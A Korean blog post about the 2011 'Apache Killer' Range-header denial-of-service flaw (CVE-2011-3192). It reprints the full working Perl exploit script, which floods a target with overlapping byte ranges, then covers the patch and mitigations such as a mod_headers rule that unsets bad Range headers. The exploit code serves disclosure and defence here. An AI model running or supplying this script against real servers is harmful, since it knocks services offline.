8월 25일 나는 Apache Killer 라는 perl 스크립트에 대해서 처음 알게 되었다.
이런 제목으로 웹에서 둥둥 떠다녔다.
Range header DoS vulnerability Apache HTTPD 1.3/2.x \(CVE-2011-3192\)
소스를 찾아보니. 다음과 같았다.
(http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20110820/848b4dca/attachment.obj)
#Apache httpd Remote Denial of Service (memory exhaustion)
#By Kingcope
#Year 2011
#
# Will result in swapping memory to filesystem on the remote side
# plus killing of processes when running out of swap space.
# Remote System becomes unstable.
#
use IO::Socket;
use Parallel::ForkManager;
sub usage {
print "Apache Remote Denial of Service (memory exhaustion)\n";
print "by Kingcope\n";
print "usage: perl killapache.pl <host> [numforks]\n";
print "example: perl killapache.pl www.example.com 50\n";
}
sub killapache {
print "ATTACKING $ARGV[0] [using $numforks forks]\n";
$pm = new Parallel::ForkManager($numforks);
$|=1;
srand(time());
$p = "";
for ($k=0;$k<1300;$k++) {
$p .= ",5-$k";
}
for ($k=0;$k<$numforks;$k++) {
my $pid = $pm->start and next;
$x = "";
my $sock = IO::Socket::INET->new(PeerAddr => $ARGV[0],
PeerPort => "80",
Proto => 'tcp');
$p = "HEAD / HTTP/1.1\r\nHost: $ARGV[0]\r\nRange:bytes=0-$p\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n";
print $sock $p;
while(<$sock>) {
}
$pm->finish;
}
$pm->wait_all_children;
print ":pPpPpppPpPPppPpppPp\n";
}
sub testapache {
my $sock = IO::Socket::INET->new(PeerAddr => $ARGV[0],
PeerPort => "80",
Proto => 'tcp');
$p = "HEAD / HTTP/1.1\r\nHost: $ARGV[0]\r\nRange:bytes=0-$p\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n";
print $sock $p;
$x = <$sock>;
if ($x =~ /Partial/) {
print "host seems vuln\n";
return 1;
} else {
return 0;
}
}
if ($#ARGV < 0) {
usage;
exit;
}
if ($#ARGV > 1) {
$numforks = $ARGV[1];
} else {$numforks = 50;}
$v = testapache();
if ($v == 0) {
print "Host does not seem vulnerable\n";
exit;
}
while(1) {
killapache();
}Apache Http 버그질라에도 올라왔었다.
https://issues.apache.org/bugzilla/show_bug.cgi?id=51714
펄 스크립트에 있는 내용중 아래 부분을 집중해서 보면 된다.
즉, 클라이언트가 Range 헤더를 사용하고 HEAD 요청을 전송하면, Apache Http 서버는 이 것이 Http
이 스크립트는 mod_deflate을 이용해서 압축전송을 응답하는 Apache Http 서버에 자원을 먹어서 죽게 한다.
리눅스 서버에서 top을 이용해서 어떻게 리소스를 Apache http 서버가 문제가 되는지 확인하는 동영상이다.
(https://www.youtube.com/watch?v=fkCQZaVjBhA)
8월 25일에 공유되면서. 세계적으로 난리가 났다.
그동안 나는 구글에 "Apache Killer" 라고 치면서, 어떻게 대응하는지 지켜보고 있었다.
다행히 Apache Http 개발자가 3일안에으로 패치할 수 있을 것이라고 했다.
http://www.theregister.co.uk/2011/08/24/devastating_apache_vuln/
On Wednesday morning, Apache developers said they expect to release a patch in the next 96 hours
드디어 8월 30일 패치가 나왔다
http://httpd.apache.org/security/vulnerabilities_22.html
| Fixed in Apache httpd 2.2.20 |
|
http://httpd.apache.org/download.cgi
| Apache HTTP Server (httpd) 2.2.20 is the best available version | 2011-08-30 |
| |
* 해결방법
1. 최근 Apache Http 서버 2.20을 설치(업데이트)한다.
http://archive.apache.org/dist/httpd/httpd-2.2.20.tar.gz
이게 가장 좋다.
2. Http의 Head 명령을 처음부터 받지 않도록 한다.
mod_security를 이용하면 GET, POST, DELETE 만 받을 수 있도록 하면 된다.
워낙 지저분한 command에 대해서는 미리 방지하는게 좋다.
만약 구버전을 계속 사용해야한다면.. 다르게 접근이 필요하다.
3. Apache Http 설정에 mod_gzip, mod_deflate를 쓰지 않는다.
이건 좀 아닌거 같다. 클라이언트 브라우져가 똥컴이면 고객 항의가 온다.
zipping은 선택이 아닌 필수이다.
4. range 정보에 대한 unset
side effect 가 있지 않을까? 서비스에서 side effect가 없다면 써도 무방
mod_header에서 다음과 같이 처리
SetEnvIf Range (,.*?){5,} bad-range=1
RequestHeader unset Range env=bad-range
* 필요 IDEA
수많은 포털과 웹 서버들이 http header를 보면 apache / ssl / mod_jk 버전을 그대로 노출하는 경우가 많다.
이런 정보만 가지면 충분히 마음먹고 공격할 수 있는데.. 최대한 버전정보와 web서버의 버전은 노출하지 않는 것이 좋다.
'Web service' 카테고리의 다른 글
| 리눅스(ubuntu)에서 XE 1.5.0_4 beta 설치 (0) | 2011.10.11 |
|---|---|
| Nginx (9) | 2011.09.27 |
| Apache Killer 와 Apache Http 패치 (DOS) 2.20 (0) | 2011.09.01 |
| [Tomcat] tomcat 5.5.x 2012년 9월 30일부터 패치를 하지 않음 (0) | 2011.08.12 |
| [Tomcat] Mark Tomas의 Tomcat7 최근 발표 (0) | 2011.08.02 |
| OSCON 2011, Tom Quisel, "Finding the Perfect Match" - OKCUPID 아키텍처 (0) | 2011.07.27 |



댓글을 달아 주세요